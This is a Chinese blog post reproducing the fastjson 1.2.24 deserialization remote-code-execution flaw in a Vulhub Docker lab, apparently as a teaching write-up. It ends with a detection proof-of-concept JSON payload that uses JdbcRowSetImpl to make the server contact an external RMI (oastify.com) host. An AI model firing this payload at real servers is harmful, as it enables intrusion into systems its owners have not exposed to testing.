【漏洞复现】fastjson_1.2.24_unserializer_rce

原创

已于 2023-11-04 18:23:21 修改 · 481 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#漏洞复现

于 2023-11-04 18:22:36 首次发布

本文分析了Fastjson1.2.24中的RCE漏洞，涉及高危级，展示了漏洞触发、检测与利用过程，包括通过基础环境复现和深度利用获取shell。

感谢互联网提供分享知识与智慧，在法治的社会里，请遵守有关法律法规

文章目录

说明	内容
漏洞编号
漏洞名称	fastjson 1.2.24 反序列化导致任意命令执行漏洞
漏洞评级
影响范围
漏洞描述
修复方案

1.1、漏洞描述

FastJson是Alibaba的一款开源Json解析库，可用于将Java对象转换为其Json表示形式，也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头：17年FastJson爆出的1.2.24反序列化漏洞。
关于FastJson1.2.24反序列化漏洞，简单来说，就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

1.2、漏洞等级

高危

1.3、影响版本

1.2.24

1.4、漏洞复现

1、基础环境

Path：Vulhub/fastjson/1.2.24-rce

启动测试环境：

sudo docker-compose up -d

访问http://your-ip:8090/即可看到

在这里插入图片描述

发送测试数据：

{
   
   "name":"hello", "age":20}

在这里插入图片描述

2、漏洞检测

使用BurpSuite扩展插件FastjsonScan进行漏洞检测

在这里插入图片描述

POC：

{
   
   
    "handsome":{
   
   
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":
    "rmi://wvvlunpw9mk6u4suzoi884ibw22sqh.oastify.com/aaa",
    "autoCommit":true
    }
}